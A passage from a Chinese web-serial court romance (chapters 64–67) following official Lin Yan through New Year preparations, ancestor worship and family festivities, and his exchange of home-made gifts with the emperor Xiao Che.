他特意在“牵挂”二字上稍稍加重了语气,带着一种善意的调侃。 林砚的耳根更红了,对着李德福郑重地拱了拱手:“如此,便多谢李公公了,有公公这句话,我就安心了。” “哎哟,林大人您这可折煞老奴了!”李德福连忙侧身避礼,脸上笑纹更深,“能为林学士分忧,是老奴的福分,陛下若是知晓您这份心,不知该多高兴呢。” 最后一句,他说得意味深长。 林砚快熟了,大抵是第一次谈恋爱,脸皮还是薄了点儿。 再三谢过李德福,林砚这才真正放下心来,出宫回家去了。 李德福站在原地,望着林砚远去的背影,笑着摇了摇头,低声自语:“真是个有心的……陛下有人疼喽。” 他转身,已经开始在心里盘算除夕夜里该怎么办好这桩差事了。 第64章 第 64 章 今年也是很好的一年。…… 衙门封印放假前的最后一天, 林砚特意起了个大早,指挥着小厮将昨日分装好,写着各位翰林同僚姓氏的布袋子一一搬上马车。 翰林院与礼部祠部司的氛围截然不同, 这里多是清流读书人, 或整体风气比之前在武海闵领导下的祠部司要好上太多。 林砚在此处任职时间虽不算太长,但与几位年纪相仿的编修、检讨相处得颇为融洽, 几位老学士对他也多是提携爱护之意。 马车到了翰林院,林砚刚下车, 就遇上了翰林侍讲周文斌。 周文斌见他身后小厮大包小袋地往下搬东西,不禁笑道:“林大人,你这是要把家当都搬来翰林院不成?” 林砚也笑,顺手拿起一个绣着“周”字的袋子递给他:“年节底下,带些家里的吃食给大家分分, 都是些不值钱的玩意儿,猪肉脯、干鱼、自家做的馎饦,还有我娘酿的椒柏酒,尝尝鲜。” 周文斌接过袋子,入手沉甸甸的,一股混合着椒柏清香的肉脯咸香隐隐透出, 他脸上露出惊喜又不太好意思的神情:“这怎么好意思?” “自己家做的, 图个热闹,快拿着, 我还得给其他人送去。”林砚拍拍他肩膀,又拎起几个袋子往院里走。 林砚先去了几位德高望重的老学士值房,态度恭敬地送上年礼,话也说得格外谦逊周到:“一点乡野粗食,不成敬意, 给老大人年节里添个下酒菜,还望老大人莫要嫌弃。” 老学士们捻须微笑,林砚这份不涉功利,纯粹分享年节喜悦的心意难得。 东西确实不贵重,胜在心思巧,又是家制的,透着亲切,更要紧的是,林砚是陛下近臣,哪怕是鼻子朝天走他们也不会有林砚有什么意见,可林砚却丝毫没有盛气。 接着,林砚又穿梭于各编修、检讨的值房间。 同僚们收到这份意外之喜,反应大多与周文斌类似,先是惊讶,随即便是真诚的感谢和笑意,过年嘛,正常人收到人家送的礼都会高兴的。 “林大人太客气了!” “哎呀,是文夫人亲手酿的椒柏酒?我可是馋这口许久了!” “这猪肉脯看着就扎实,有嚼头!多谢林学士!” “林大人,过年若得空,来家中小酌两杯?” 值房里一时充满了欢声笑语,年节的气氛愈发浓厚。 比起祠部司那时各自钻营的冷漠,此处的热闹和真诚让林砚觉得舒心。 他笑着应和,心里却也不无感慨。 当初在祠部司,他不是没动过缓和关系的心思,但那时他人微言轻,上司武海闵刻意打压,同僚郑经之流又惯会捧高踩低、甩锅摸鱼,整个氛围乌烟瘴气,他若那时送东西,只怕非但落不下好,反而会被嘲讽巴结或怀疑别有用心。 林砚索性熄了心思,当个纯粹的打工人。 如今升任翰林学士,圣眷正浓,反而不用再顾虑那么多。 他有底气按照自己的心意行事,分享这些吃食,只是因为他觉得这些同僚人品尚可,相处愉快,愿意与之分享年节的喜悦,并无丝毫攀附或炫耀之意,而正因为他的地位和这份纯粹,同僚们也更能坦然接受并感念这份心意。 东西分发完毕,林砚回到自己的值房,窗外,已有性急的同僚打开油纸包,与相邻值房的人分享起猪肉脯来,隐约的赞叹声随风飘来。 林砚笑了笑,开始整理案头最后的几份文书。 处理完最后一点工作,就能放假了。 下值回了家,林砚火速去换下了官袍,叫人好生洗了收起来,要等半个月后才会再穿。 换了衣裳,林砚马不停蹄地去寻自己的父母:“爹,娘,趁着今儿天色还早,咱们一家人出去逛逛?采买些年货,也添些新气象。” 林砚提议道:“总是在书房埋头苦读的恪表哥,也让墨儿去薅出来,一块儿出门松快松快。” 文韫被说动了,掩嘴笑:“也是,虽如今家里下人多,但过年嘛,自己逛逛才有滋味,我这就让刘嬷嬷去唤墨儿和恪儿。” 不多时,林墨就像只欢快的小鸟儿似的飞了出来,身后跟着略显局促的文恪。 文恪手里还捏着本书,显然是被表妹从书堆里硬挖出来的,脸上带着点读书人被打断思路的茫然,但看到舅母和表弟妹热情的笑脸,那点茫然也化作了温和的笑意。 “砚表弟。”文恪拱手行礼。 “恪表哥,今日暂且将书放下,我们出门逛逛。”林砚笑着拍拍他的肩。 一家人笑语盈盈地出了门。 年关将近,街市上比平日更加热闹喧腾。 吆喝叫卖声、讨价还价声、孩童的嬉笑声混杂在一起,充满了鲜活滚烫的烟火气。 林砚深吸一口空气中弥漫的炒货香和糖瓜甜味,香到不行。 首先采买的是桃符和门神像。 摊子上的桃木符琳琅满目,刻着各种吉祥图案和祈福文字。 林承稷挑了一对“神荼”“郁垒”的门神像,威武凶猛,镇宅辟邪最好。 文韫则看中了一对稍显文雅的“加官进禄”“富贵平安”桃符。 林墨拿起一个刻着胖娃娃抱鲤鱼的,爱不释手:“娘,这个好看!” 林砚凑过去看了一眼:“嗯,是好看,买!” 文恪在一旁安静看着,目光里带着些许羡慕林家的温馨,被林砚塞了一个“蟾宫折桂”的桃符:“表哥,这个适合你,明年春闱,必定高中!” 文恪握着那光滑微凉的桃符,心头一暖,低声道:“多谢砚表弟。” 最后,林承稷拍板,门神和几种寓意好的桃符都买了些,回去各处门窗都贴上,讨个吉利。 接着是购置“岁席”用品。 虽然如今林家宽裕,仆人成群,但文韫还是坚持许多东西要自己亲手挑拣才放心。 新碗筷、新杯盏、红烛、鞭炮……林砚和林墨跟在母亲身后,负责拎东西和发表意见,林承稷和文恪则更像护卫和参谋,偶尔对价格和质地点评一二。 “娘,这瓷碗釉色是不是不够亮?” “爹,您看这鞭炮够不够响?” “表哥,这红烛燃烧时间够长吧?别守岁到一半灭了。” 琐碎寻常,却充满了过日子的踏实和暖意。 采买完这些,又去了成衣店。 如今林家确实不缺衣裳穿,但过年添新衣是老传统,图的就是个辞旧迎新的彩头。 文韫给林承稷挑了稳重厚实的深青色缎子,给自己选了件绛紫色的万字纹锦缎。 林墨少女心性,对着各色鲜亮的料子挑花了眼,拿起一匹鹅黄的嫌太嫩,拿起一匹水绿的又觉得色冷,最后还是文韫做主,给她定了一身海棠红的袄裙,衬得她越发娇俏。 林砚对衣着不大上心,随手点了匹竹青色的料子就算完事,萧彻给他做了一大堆新衣裳,全都是用的最好的料子。 轮到文恪时,他却有些踌躇推拒:“舅母,不必为我破费,我衣裳尽够穿的。” 林承稷大手一挥:“诶,这是什么话?你既在家里过年,便是林家一份子,岂有不添新衣之理?夫人,我看那匹靛蓝色的云纹缎子就不错,给恪儿做一身,再做一身天青色的直裰,年轻人,穿精神些!” 文恪推辞不过,看着舅父舅母真心实意的笑容,郑重作揖:“谢舅父、舅母。” 从成衣店出来,人人手里又多了几个包袱。 林墨兴犹未尽,拉着文韫又钻进了旁边的首饰铺子。 林承稷、林砚和文恪三个男人只好跟在后面,充当移动置物架。 “爹,您看这支珠花适合娘吗?” “哥,这个绒花我戴好看还是那支银簪好看?” “恪表哥,你说呢?” 文恪哪里懂这些,被问得面红耳赤,只会说“甚好”、“都好看”。 林砚看得直乐,被他娘和妹妹使唤着掏钱,买了一堆簪环钗珮、绒花绢花。 林承稷在一旁抚须微笑,偶尔指点一句“那个玉扣质感不错,给你娘配上”。 等到终于采购完毕,一家人手里都提满了大包小包,乘着暮色回到林府时,虽有些疲惫,却个个脸上都洋溢着满足欢快的笑容。 “可算回来了!”林墨把东西一放,就瘫在椅子上,“逛得我腿都酸了,比在学里上一日课还累。” 文韫笑着点她额头:“就你话多,方才就数你买得最欢。” 林承稷吩咐下人将采买的东西一一归置好,便撸起袖子,亲自张罗着钉桃符、贴门神。 林砚和文恪也上前帮忙,一个扶梯子,一个递锤子。 下人们忙而不乱,挂起大红灯笼,张贴剪纸窗花,清扫庭院角落。 整个林府被暖红的灯笼光照亮,空气中飘着刚熬好的浆糊和食物混合的香气,过年的氛围浓郁得化不开。 很快,崭新的桃符钉上了大门,威猛的门神一左一右站定,红彤彤的灯笼在檐下亮起,柔和的光晕洒满庭院,窗棂上的“福”字剪纸灵动漂亮。 整个林府上下下都被浓郁的年节气氛包裹,喜气洋洋,暖意融融。 文韫带着林墨和丫鬟们去了厨房,盯着准备丰盛的年夜饭。 林承稷贴完门神,满意地背着手在院里转了一圈,检查各处布置。 林砚和文恪站在廊下,看着这灯火通明、欢声笑语的家,相视一笑。 “又过年了啊。”林砚轻声道。 文恪深深点头,望着温暖灯火,眼中满是暖意:“是啊,又过年了。” 寒风似乎也被这满院的暖红和笑语驱散,寒潮也逐渐褪去了影响。 今年也是很好的一年—— 作者有话说:在这里给大家拜个早年[垂耳兔头] 记得往后翻[比心] 第65章 第 65 章 臣祝陛下新年安康,万事…… 除夕。 林府内天还未大亮便已人声浮动, 灯火通明。 下人们呵着白气,脚步匆匆却井然有序地忙碌着。 厨房方向更是热气蒸腾,浓郁的肉香、炸物的焦香、还有蒸糕点的甜香早已弥漫开来, 勾得人肚里馋虫蠢蠢欲动。 文韫穿着一身利落的棉袄, 外头罩着防油的围裙,指挥若定。 “这边, 对,那条青鱼要现杀现做。” “王嬷嬷, 看着点灶上的鸡汤,火候到了就撇浮油,煨着,晚上给大家守岁下面条吃。” “那整羊是祭祖后宴席上要用的,别磕碰了。” 几个粗使婆子嘿呦嘿呦地将一整只处理好的肥羊抬进厨房, 鸡鸭鱼肉更是早已堆满了角落的案板。 文韫眼神一扫,心里便有了数,又开始吩咐人去地窖取腊味、干果。 与厨房的热火朝天相比,前院则是另一番庄重景象。 林承稷也早早起了身,换上了一身深色簇新的常服,神色肃穆, 亲自领着小厮们在正厅前的庭院中设香案、摆供品。 香案是上好的紫檀木所制, 平日里收在库房,唯有年节祭祖或是重大庆典才会请出, 小厮们小心翼翼地将其抬至庭院正中,铺上崭新的红色毡毯。 供品更是琳琅满目,极尽丰盛。 整猪头嘴里衔着尾巴,寓意有始有终;全鸡昂首挺胸,羽毛被梳理得油光水滑;肥鱼鳞甲完整, 象征富足有余。 各色糕饼果子堆叠成塔,蜜供、芙蓉糕、百果年糕……无一不是用料考究、做工精细。 时令水果如苹果、橙子、柿子也洗得干干净净,泛着诱人的光泽。 酒樽里斟满了醇香的美酒,香炉里插着粗长的线香。 一切用具皆选上好的,显然,因着林砚今年升迁、得帝宠,林家上下都觉得是祖宗保佑,今年这祭祖比往年更为隆重用心。 林承稷一丝不苟地检查着每一样供品的位置,调整着烛台的角度,确保万无一,寒风刮过,他呵出的白气氤氲了严肃的面容,眼神却格外明亮。 而与此形成鲜明对比的,是林砚和林墨两兄妹的院子,静悄悄,仿佛还在沉睡。 事实上,文韫的丫鬟早已来催过几次,却被守在门口的,伺候林砚的小厮笑着拦了回去:“小姐再让少爷睡会儿吧,昨夜少爷看书睡得晚了些。” 实则林砚是熬夜打包好了要送给萧彻的食盒,又亲手刻好了那枚桃符,折腾到后半夜才睡下。 直到前院一切准备就绪,祭祖的吉时将近,林承稷派了人来请,林砚屋子的门才“吱呀”一声打开。 林砚披着外袍,头发还有些蓬乱,睡眼惺忪地探出头:“张伯?怎么了?” 张伯哭笑不得:“我的大少爷呦!祭祖的时辰快到了,老爷夫人和小姐都在前头等着您呢!” 林砚一个激灵,瞬间清醒:“啊?这么快!”手忙脚乱地缩回去洗漱换衣。 几乎是踩着点,林砚一路小跑出现在了肃穆的祭祖现场。 文韫没好气地瞪了他们一眼,低声道:“怎么起得这般晚?差点误了祭祖的时辰” 林承稷则咳嗽一声,示意仪式开始。 全家老少立时敛容屏息,按长幼尊卑顺序跪于香案前的蒲团上。 林承稷作为一家之主,率先上前,净手,燃香,高举过头,对着香案上方虚设的祖宗牌位方向深深三揖,口中朗声念诵着提前写好的祝祷文,无非是禀报家中一年状况,感谢祖宗庇佑,祈求来年风调雨顺、家宅平安、子孙出息。 声音庄重沉稳,在寒冷的空气中传出老远。 随后,林承稷将线香插入香炉,退后一步,率先跪下,行三跪九叩大礼。 文韫紧随其后,接着是林砚、林墨,众人动作整齐划一,神情虔诚恭敬。 林砚跪在父母身后,听着父亲沉稳的祝祷声,闻着空气中缭绕的檀香和供品食物的混合香气,看着前方父母虔诚的背影,心中不由得絮絮叨叨:祖宗们多吃点多喝点,保佑来年我们一家人越来越好。 冗长而肃穆的祭祖仪式终于结束。 供品会被撤下,部分会重新加工成为年夜饭的菜肴,意味着祖宗享用过后,将福气留给了子孙。 几乎就在林家祭祖刚结束,下人们忙着收拾庭院准备开席的当口,皇宫方向隐隐传来了钟鼓之声,似乎还有若有若无的诵念与乐声。 那是宫中盛大的“驱傩”仪式开始了。 肃杀寒冷的空气中,一场规模浩大的“驱傩”仪式正在举行,火光跳跃,烟气缭绕,庄严肃穆之余又带着几分诡谲神秘。 身披绛紫色袈裟的僧人闭目垂首,手持念珠法器,梵音低沉浑厚,如涟漪般荡开;着八卦道袍的道士们步罡踏斗,剑指苍天,符箓无风自动,清越的铃铛声穿插其间;更有数百名精选出的宫廷艺人,戴着狰狞夸张的傩面,身着色彩鲜艳的古老服饰,手持戈盾,模仿着上古先民驱逐疫鬼的舞蹈,动作狂放而富有原始的力量感,口中发出古老的吼声。 萧彻端坐于高阶之上的华盖之下,身着繁复隆重的玄色冕服,十二旒白玉珠垂在眼前,遮住了他大半表情。 萧钰等几位藩王以及公主皆按品级分坐两侧,同样服饰庄重,神色肃穆。 仪式极其繁琐冗长,每一个步骤都需依古礼进行,不得有丝毫差错。 萧彻身姿挺拔,看似专注地望着下方恢弘的仪式,实则眼神放空,心思早已飘远。 在想林砚。 林砚此刻在做什么?林家也该祭祖了吧?他会求祖宗保佑些什么呢? 昨夜他睡得可好?今日除夕,给他做的新大氅可有记得穿上? 脑子里翻来覆去,全是那个人的身影。 想见林砚。 整个仪式,萧彻堪称人在魂不在。 紧接着便是除夕宫宴。 地点设在了温暖如春、装饰得富丽堂皇的重华殿。 平日里分散各地、难得一见的皇室宗亲们此刻济济一堂,珠光宝气,笑语喧阗。 还有尚未离京的北戎使团以及部分朝廷重臣出席。 当众人没有在重华殿看见林砚时,心思各异,按理来说以林砚的受宠程度,不应该缺席除夕宫宴才是。 丝竹管弦,轻歌曼舞,觥筹交错,场面热闹非凡。 萧彻坐于主位,接受着众人的朝拜与敬酒,说着冠冕堂皇的吉祥话,脸上维持着恰到好处的帝王微笑,与几位宗室长辈、重臣、使节寒暄应酬。 在这极致的繁华与热闹之中,萧彻却只觉得心口空空荡荡。 这些笑容背后多少真心?这些热闹又有几分真实? 萧彻仿佛一个局外人,冷眼看着这场权力与身份堆砌出的盛宴,只觉得疲惫又无趣。 其实在先皇之前,大渝也同前朝一样,不会大张旗鼓地搞如此复杂的除夕宫宴,至少不会把臣子给叫进宫陪皇帝过年,还是先皇在位时,大渝的各种理解规矩才越发地多了起来。 酒过三巡,流程走到了“赐菜”环节——这是皇帝对臣子表示恩宠与嘉奖的重要形式。 萧彻的精神才为之一振,仿佛终于等到了期待已久的环节。 李德福捧着长长的清单,开始唱名。 “赐——户部尚书红虬脯一盘!” “赐——兵部尚书椒柏酒一壶!” …… 终于,到了众人都很好奇的林砚。 “赐——翰林学士,驼蹄羹一盅,消灵炙一盘!” 殿内瞬间安静了一瞬。 所有人的目光,或明或暗,都带上了惊讶与探究。 赐菜不稀奇,稀奇的是这赏赐的内容和数量! 驼蹄羹,取自骆驼蹄心,极为珍稀,号称“瓊脂玉膏”,滋味鲜美无匹,历来是宫廷御宴上最顶级的珍馐之一。 而消灵炙,更是了不得,据说一只羊身上只能取下四两符合要求的肉,精心烤制而成,入口即消,鲜美异常,“灵”字更显其珍贵。 寻常得赐一道已是莫大荣宠,而林砚,独得两道!还是如此名贵的两道! 这恩宠,简直浓得化不开了! 此时脑子活泛的人已经意识到,林砚没来这除夕宫宴,才是顶级恩宠的体现,他可以在这除夕夜,陪着自己的家人过年。 一些宗室亲王的目光都变得复杂起来。 其木格更是压低了声音警告自己这个脑子不好使的王兄:“林大人在大渝皇帝心里份量极重,王兄日后切不可招惹他。” 阿古拉撇撇嘴,没说什么,只是端着酒碗大口喝酒。 萧彻对下方的反应视若无睹,只淡淡吩咐李德福:“即刻派人,快马送至林府。” 李德福躬身应下,心里门儿清。 他早就盯着这个机会了,立刻给李莲顺使了个眼色。 李莲顺心领神会,悄无声息地退下去准备。 他不仅要领这赐菜的差事,更重要的,是要将林大人给陛下准备的东西,妥妥帖帖地带回来! 林府的年夜饭刚刚摆上桌,鸡鸭鱼肉,热气腾腾,一家人正准备动筷,门外忽然传来一阵喧哗,紧接着门房激动得声音都变了调:“老爷!夫人!宫、宫里来人了!是陛下赐菜!” 全家连忙起身迎了出去。 只见李莲顺领着两个小太监,手里捧着保温的食盒,笑吟吟地站在院中,身后还跟着几名禁军护卫。 “陛下口谕,念林学士勤勉王事,特赐御膳二道,与卿家共贺新岁。”李莲顺声音清亮,好似他也是林家的一份子,与有荣焉一般。 林承稷忙带领全家跪下谢恩:“谢陛下隆恩!万岁万岁万万岁!” 起身后,小太监将食盒打开,露出里面精致的御用器皿。 当听到李莲顺报出“驼蹄羹”和“消灵炙”时,林承稷和文韫都难掩震惊之色,连声道“陛下厚恩,臣等惶恐”。 林墨和文恪也睁大了眼睛,好奇地看着那传说中的美食。 只有林砚,还算淡定,只是眼底掠过一丝了然和暖意——男朋友果然不会亏待他。 李莲顺完成赐菜任务后,并未立刻离开,而是笑着对林砚道:“林大人,陛下还有几句体己话,让奴婢私下转达。” 林砚会意,引着李莲顺出来说话。 李莲顺脸上的笑容更真诚了几分,低声道:“林大人,您要带给陛下的东西,可备好了?” 林砚点点头,取出一个早就准备好的双层食盒,最上面一层还放着一个用红绳系着的桃木符,上面亲手雕刻了吉祥图案和“平安”二字。 “有劳李公公了。这食盒里是我亲手包的一些饺子,馅料有好几种,可让膳房煮了尝尝鲜,图个团圆守岁的意思,这个桃符……” 林砚拿起那枚打磨光滑的桃符,声音轻了些:“麻烦公公一并呈给陛下,就说……臣祝陛下新年安康,万事顺遂。” 李莲顺双手接过,如同捧着绝世珍宝,郑重道:“林大人放心,奴婢必定原话带到,东西也必完好无损地送到陛下手中。” 他小心翼翼地将食盒和桃符自己拿好,都不敢假手于人,这才告辞离去。 林砚送走李莲顺,回到饭厅。 家人好奇,却也没多问赐菜之外的事。 只是这顿年夜饭,因着这两道御赐的、意义非凡的菜肴,变得更加滋味复杂起来,皇恩浩荡的荣耀,可不是一般人家能有的。 而此刻的皇宫深处,宴席虽未散,萧彻的心却已飞向了宫墙之外,期待着那份来自林砚的“回礼”。 萧彻知道,林砚一定会为他准备新年礼物。 李莲顺揣着那份沉甸甸的心意,踏着除夕的夜色,快步向宫门走去,脚步轻快。 自己怀里揣着的,怕是今晚宫里最得圣心的一份“年货”。 第66章 第 66 章 他将桃符握在掌心,那点…… 李莲顺揣着那食盒与桃符, 脚下生风,这差事办好了,在干爹跟前、在陛下跟前, 那都是头一份的体面。 他紧赶慢赶回了宫, 径直就去寻李德福。 李德福刚安排完一轮赏赐,正揣着手在廊下眯着眼瞧宫灯呢, 见干儿子捧着东西过来,眼皮一掀:“都办妥了?” “干爹放心, 林大人府上一切都好,御赐的菜也送到了。”李莲顺凑近些,将手里那食盒和桃符显出来,压低声音,“这是林大人让儿子带回来, 呈给陛下的,说是亲手包的饺子,还有亲手做的桃符,祝陛下新年安康。” 李德福那精明的眼睛在那朴素的食盒和桃符上溜了一圈,心里顿时跟明镜似的。 哟呵,林大人这心意, 实在, 太实在了。 他脸上却不露分毫,只点点头:“嗯, 知道了,陛下还在宴上,这会儿不得空,你先把这饺子拿去厨房,让人仔细煮了, 用陛下平日喜欢的那个甜白釉玉莲纹碗盛了,温着候着,这桃符我先收着。” 李莲顺连忙应下,捧着食盒就要走。 “等等。”李德福又叫住他,意味深长地瞥他一眼,“煮好了,机灵点儿,看准时机再送进去,别扰了陛下的兴,也别让东西凉了。” “儿子明白!”李莲顺一点就透,这是干爹在提点他,他郑重地又行了个礼,这才快步往厨房方向去。 李德福看着干儿子走远,低头看了一下那枚还带着点木屑清香的桃符,手艺是糙了点,边角都没磨得太圆滑,可这份心意,沉甸甸的。 他小心地将桃符揣进怀里,整了整衣袍,又恢复成那副八风不动的御前大总管模样,悄无声息地回到了重华殿内,侍立在萧彻身后不远处。 殿内依旧喧嚣,歌舞升平,酒过三巡,不少宗亲大臣已面露醺态,互相敬酒寒暄,说着吉祥话。 萧彻端坐其上,面上一派平和威严,偶尔举杯与近前的亲王或重臣示意,只是那眼神深处,总隔着一层疏离的倦意,直到李德福悄没声地回来,极轻微地对他点了点头。 萧彻执杯的手指几不可察地顿了一下,眼底那层薄冰似乎融化了些许。 他放下酒杯,以手扶额,略显疲惫地对身旁一位正说着祝酒词的宗室长辈低语了一句什么。 那老王爷立刻关切道:“陛下连日辛劳,定是乏了,不如稍事歇息?” 萧彻从善如流地微微颔首,对众人道:“诸位爱卿且尽兴,朕更衣便回。” 说着,便起身离席。 李德福立刻上前一步,虚扶着萧彻,在一众躬身行礼的臣子中,从容地向殿后走去。 一转入通往偏殿的回廊,远离了那喧闹之声,周遭瞬间安静下来,只余檐下宫灯在夜风中轻轻摇曳,投下昏黄静谧的光晕。 萧彻脚步未停,声音却已恢复了平时的清冷:“东西呢?” 李德福从怀里掏出那枚桃符,双手奉上:“陛下,林大人特意让李莲顺那小子带回来的,说是亲手所做,祝陛下新年安康,万事顺遂。” 萧彻接过那枚桃符。 触手微凉,木质纹理清晰,雕刻的图案是常见的祥云瑞兽,但线条略显生涩,边角处还能摸到些许毛刺,一看便是新手所为,绝非匠人所出。 他想象了一下,平日里要么在御书房埋头苦写,要么在心里疯狂输出,如今却静下心来,拿着刻刀一点点雕这玩意儿,那画面有点…… 萧彻的指尖在那略显粗糙的“平安”二字上缓缓抚过,眼底最后那点倦意和疏离彻底消散,染上了一种极为柔和的暖意。 他极轻地笑了一下,摇摇头,像是无奈,又难掩欢喜:“手艺是真不行。” 李德福多精的人啊,立刻接话:“陛下说的是,林大人毕竟是读书人,这雕工自然是比不得宫内造办处的匠人精巧,可难得是这片心!您瞧这祥云,这瑞兽,虽朴拙,却饱满有力,透着真诚!林大人定然是耗费了不少功夫,这份心意,千金不换呐!” 萧彻瞥了李德福一眼,明知这老货在拍马屁,可这话却实实在在地说到了他心坎里。 他将桃符握在掌心,那点微凉的木质感似乎也带上了温度。 “李莲顺呢?” “回陛下,老奴让他去小厨房盯着煮饺子了,林大人说了,是亲手包的,几种馅料,让陛下尝尝鲜,图个团圆守岁的意头。”李德福笑眯眯地回道,“算算时间,也该煮好了。” 正说着,就见李莲顺端着一个托盘,上面放着一只甜白釉玉莲纹碗,碗口热气腾腾,小心翼翼地走了过来。 见到萧彻,李莲顺立刻跪下:“陛下,饺子煮好了,请陛下用点。” 萧彻目光落在那碗里,一只只白胖饱满的饺子挤在一起,热气氤氲,带着面食和馅料混合的朴素香气,在这充斥着酒肉珍馐气味的宫廷夜晚,显得格外清新诱人。 “起来吧。”萧彻语气温和了不少,“林砚还说什么了?” 李莲顺站起身,垂着头,毕恭毕敬地将林砚的话复述了一遍:“林大人说,祝陛下新年安康,万事顺遂,还说这饺子馅料他调了几种,有猪肉白菜的,有韭菜鸡蛋的,也不知合不合陛下口味。” 猪肉白菜?韭菜鸡蛋?都是再寻常不过的家常馅料。 萧彻贵为天子,什么山珍海味没吃过,可偏偏是这最普通还带着某人心意和家里烟火气的东西,勾动了他心底最柔软的那根弦。 他甚至能想象出林砚系着围裙,在厨房里和面、调馅、捏饺子的模样,说不定脸上还沾了面粉…… 萧彻的嘴角控制不住地向上扬起。 “陛下,外边风大,不如回暖阁用?”李德福适时地提醒。 萧彻点点头,端着那碗饺子,转身进了就近的一处暖阁。 暖阁里地龙烧得暖融,安静无人,萧彻在榻上坐下,李德福立刻递上银箸。 他夹起一只饺子,吹了吹热气,送入口中。 面皮劲道,馅料饱满,猪肉白菜的汤汁鲜甜,虽然比起御膳房塞满了山珍海味的饺子差得远,但就是这份“家里做”的味道,让萧彻觉得比方才宴席上任何一道珍馐都来得美味熨帖。 萧彻一连吃了好几个,猪肉白菜的,韭菜鸡蛋的,每一种都仔细尝了。 李德福在一旁看着陛下这难得的胃口,心里替陛下高兴,也替林大人高兴,更替自己那干儿子高兴。 他笑着凑趣:“陛下,林大人这手艺瞧着就好,这饺子实在,馅大皮薄,吃着暖和。” 萧彻吃完最后一个饺子,连汤都喝了几口,只觉得浑身都暖洋洋的,那股宫宴带来的烦腻感和空虚感被驱散得一干二净。 他放下碗,满足地喟叹一声:“嗯,是不错。” 他目光扫过垂手侍立的李莲顺:“差事办得妥当,有赏。” 李莲顺大喜,立刻跪下磕头:“谢陛下隆恩!能为陛下、为林大人办差,是奴婢天大的福分!” 萧彻心情好,又看向李德福:“你调教的人,不错,也有赏。” 李德福也赶紧躬身:“老奴谢陛下赏!都是老奴分内之事。” “行了,都起来吧。”萧彻摆摆手,重新拿起那枚桃符,在指尖摩挲着,“朕歇够了,回宴上去吧。” 只是再回到那喧闹的重华殿,闻着那酒气香气,萧彻却觉得似乎没那么难以忍受了,袖中那枚桃符硌着他的手腕,提醒着他宫墙之外的牵挂。 此时的林府,年夜饭也吃得差不多了。 桌上杯盘狼藉,一家人吃得心满意足,脸上都带着酒足饭饱后的红晕和慵懒。 林承稷作为一家之主,清了清嗓子,拿出了几个早就准备好的小福袋,鼓鼓囊囊的。 “来,压岁钱。”他笑着,先递给文韫一个,“夫人一年辛苦。” 文韫笑着接过:“多谢夫君。” 接着是林砚、林墨,还有文恪,人手一个。 “谢谢爹!” “谢谢姑父!” 三人异口同声,笑嘻嘻地接过。林砚捏了捏,里面是硬硬的、颗粒状的玩意儿,倒出来一看,果然是一把打磨得光滑锃亮的银瓜子,在灯下闪着温润的光。 “哇!银瓜子!”林墨小姑娘心性,拿起一颗对着灯光看,喜笑颜开。 林砚也笑:“爹,您这可真是实在。” 往年家里只有林承稷一个人做官养家时,压岁钱是铜钱串,现如今也是发上了银瓜子。 文恪则有些不好意思:“姑父,这太贵重了……” “诶,过年嘛,图个吉利,拿着压枕下,保佑你来年顺遂,科举高中。”林承稷拍拍他的肩。 文韫也笑着拿出几个类似的福袋,分给三个小辈,里面同样是银瓜子:“我也给一份。” 林砚和林墨笑嘻嘻地又收了一份,文恪更是连声道谢。 发完了小辈的压岁钱,林承稷和文韫又开始给下人们发“节料”。 这可就不是银瓜子这种象征性的东西了,而是实打实的实惠。 铜钱用红绳串着,沉甸甸的;绢帛是簇新的好料子;还有粮食、甚至还有新做的棉衣鞋袜。 按照等级和在林家服务的年限,每人得到的份额不同,但都足够丰厚,相当于多发了几个月的工钱。 下人们一个个上前领赏,脸上都笑开了花,嘴里吉祥话不断。 “谢老爷夫人赏!祝老爷夫人新年大吉,身体健康!” “祝少爷小姐来年万事如意!” “祝表少爷金榜题名!” 院子里热闹非凡,充满了欢快的气氛。 林砚看着这情景,心里也暖乎乎的。 发完了钱和节料,就到了守岁的环节。 林家今年宽裕,采买了许多烟花爆竹。 林承稷大手一挥,不仅主子们有得玩,下人们也都分到了一些小巧安全的烟花和鞭炮。 顿时,院子里就更热闹了。 “咻——啪!” 绚丽的烟花在夜空中绽开,照亮了一张张欢笑的脸。 林砚也拿着几根滴滴金,分给林墨和文恪,自己手里也拿着两根,用线香点燃,金色的火花“滋滋”地喷射出来,在黑暗中划出明亮的光弧。 林砚挥舞着烟花棒,看着火花四溅,忽然想到,萧彻在宫里,肯定是看不到这种自己拿着烟花傻乐的场景的。 宫里的烟花,必然是更大、更华丽、更规整的,由专人统一燃放,皇帝只需在高台上远远观赏。 不知道萧彻这会儿在干嘛?宴席散没散?饺子吃了没?桃符应该看到了吧? 明天晚上就能见到了!带萧彻出来玩! 嗯……要带萧彻玩烟花! 夜空之中,繁星之下,是持续不断的欢声笑语和绽放的烟火,空气里弥漫着硝烟好闻的味道和食物的香气。 年味正浓—— 作者有话说:还是有加更[比心] 第67章 第 67 章 “嗯,很配。” 京城的冬日, 天色总是亮得迟疑,虽已是日上三竿,灰蒙蒙的天光透过窗棂, 依旧带着几分慵懒的意味, 勉强驱散屋内的暗沉。 林砚醒来时,只觉得浑身骨头都像是被暖炕烘得酥软, 陷在柔软的被褥里,半点不想动弹。 窗外隐约传来零星爆竹声, 提醒着他昨夜已然守岁结束,新的一年真真切切地开始了。 拥着被子坐起身,发了会儿呆。 林家并非钟鸣鼎食之家,没那么多繁琐规矩,年节下更是宽松, 家里的孩子们想睡便睡了,连向来勤勉的文恪也是快午时才起身。 这种睡觉睡到自然醒的惬意,让林砚恍惚间找回了几分现代周末睡到自然醒的幸福感。 等哪天他也能数钱数到手抽筋,就更完美了。 慢吞吞地洗漱完毕,换上一身舒适的家常棉袍,踱到前厅时, 午饭已然备好。 一家人围坐在一起, 桌上菜肴比平日丰盛许多,多是昨夜晚宴的余韵, 重新加热过后,依旧香气扑鼻。 林承稷神色舒缓,文韫脸上带着操持年节后的满足与些许疲惫,林墨叽叽喳喳说着昨夜放烟花时的趣事,文恪则安静听着, 嘴角噙着淡淡笑意。 席间氛围温馨和睦,充满了寻常人家的烟火气。 林砚捧着碗热汤,听着家人的闲聊,越发惫懒。 饭后,一家人便如同约好了一般,各自有了安排。 林墨最为积极,早已和几个手帕交约好,要去京城外香火鼎盛的那座姻缘庙祈福。 这是大渝未出嫁女子们年初一的习俗,小姑娘们对此总是怀抱着最浪漫的憧憬。 母亲文韫也要出门,与几位交好的夫人相约吃茶听曲,闲话家常。 父亲林承稷亦有应酬,与几位同僚约了去酒楼小聚。 连文恪都被同乡的举子们拉去,说是参加什么文会,交流学问。 